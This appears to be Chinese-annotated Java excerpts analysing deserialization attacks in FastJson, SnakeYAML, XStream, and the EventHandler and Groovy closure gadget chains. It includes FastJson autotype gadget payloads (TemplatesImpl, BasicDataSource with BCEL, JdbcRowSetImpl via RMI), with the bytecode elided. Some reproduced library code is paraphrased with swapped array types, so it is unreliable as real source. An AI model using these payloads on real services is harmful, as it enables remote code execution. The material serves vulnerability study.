public abstract class JSON implements JSONStreamAware, JSONAware {
    public static <T> T parseObject(String text, Class<T> clazz);   // 当指定Class时，转换为对应的对象
    public static JSONObject parseObject(String text);  // 未指定Class时转换为JSONObject对象
    public static Object parse(String text);  // 转换为实际对象，这里
    public static String toJSONString(Object object, SerializerFeature... features);  // 将对象转换为json字符串
    ...  // 还有很多方法与很多重载
}

    public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject)obj;
        } else {
            try {
                return (JSONObject)toJSON(obj);  // 序列化啦
            } catch (RuntimeException var3) {
                throw new JSONException("can not cast to JSONObject.", var3);
            }
        }
    }

public final class TemplatesImpl implements Templates, Serializable {
    public synchronized Properties getOutputProperties() {
        try {
            return this.newTransformer().getOutputProperties();  // this.newTransformer()触发自定义恶意类初始化
    ...

// TemplatesImpl
{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],  // private
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}
// BasicDataSource
{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}
// JdbcRowSetImpl
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

// 指定root class，但是里面嵌套的属性不会有类型检查
Yaml yaml = new Yaml(new Constructor(Invoice.class));
// 指定安全构造器不允许反序列化自定义类
Yaml yaml = new Yaml(new SafeConstructor());

public class XStream {
    public String toXML(Object obj);  // 序列化为XML字符串
    public Object fromXML(String xml);  // 反序列化为对象
    // ... 同FastJson，会有很多重载...
}

public class EventHandler implements InvocationHandler {
    private Object target;  // 调用方法的对象，如Runtime对象
    private String action;  // 要调用的方法名，如Runtime的exec
    private final String eventPropertyName;
    private final String listenerMethodName;

    public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
        return invokeInternal(proxy, method, arguments);
    }
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
        String methodName = method.getName();
        if (method.getDeclaringClass() == Object.class)  { 
            ... // hashCode equals toString => RETURN
        }
        if (eventPropertyName == null) {     // 这里是无参的情形
             Class[] argTypes = new Object[]{};
             Object[] newArgs = new Class<?>[]{};
        }
        else {
            Object input = applyGetters(arguments[0], getEventPropertyName());  // TODO：这里还没分析...
            Class[] argTypes = new Object[]{input};
            Object[] newArgs = new Class<?>[]{input == null ? null : input.getClass()};
        }
        try {
            int lastDot = action.lastIndexOf('.');
            if (lastDot != -1) {
                target = applyGetters(target, action.substring(0, lastDot));
                action = action.substring(lastDot + 1);
            }
            Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);  // 根据方法名和参数类型获取方法
            return MethodUtil.invoke(targetMethod, target, newArgs);  // 调用方法
        }
    }
}

// 方法闭包可以把一个对象实例和方法组合，通过doCall调用
public class MethodClosure extends Closure {
    private Object owner;   // 要执行方法的对象，如Runtime对象，ProcessBuilder对象，JdbcRowSetImpl对象
    private String method;  // 最终要执行的方法名，和上面对应的是exec(String), start(), getDatabaseMetaData()方法
    ...
    public MethodClosure(Object owner, String method);   
    protected Object doCall(Object arguments) {  // 注意这里method的参数类型需要与下面invoke劫持的方法的参数一致，如劫持hashCode()由于没有参数只能使用start()/getDatabaseMetaData()等没有参数的方式
        return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments); 
    }
}
// 转换闭包
public class ConvertedClosure extends ConversionHandler implements Serializable {
    private String methodName;  // 动态代理里希望劫持的方法，如annotationInvocationHandler里的entrySet，HashMap里的compareTo
    public ConvertedClosure(Closure closure, String method);
    public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
        return this.methodName != null && !this.methodName.equals(method.getName()) ? null : ((Closure)this.getDelegate()).call(args);  // 调用的方法名和methodName一致，则派遣给delegate的call
    }
}
// ConversionHandler继承InvocationHandler，它的invoke
public abstract class ConversionHandler implements InvocationHandler, Serializable {
    private Object delegate;
    public ConversionHandler(Object delegate);
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        ...
        if (!this.checkMethod(method)) {  // 这里的方法不能是Object的方法，如hashCode equals toString
            return this.invokeCustom(proxy, method, args);  // 调用到子类的invokeCustom
        }}  
}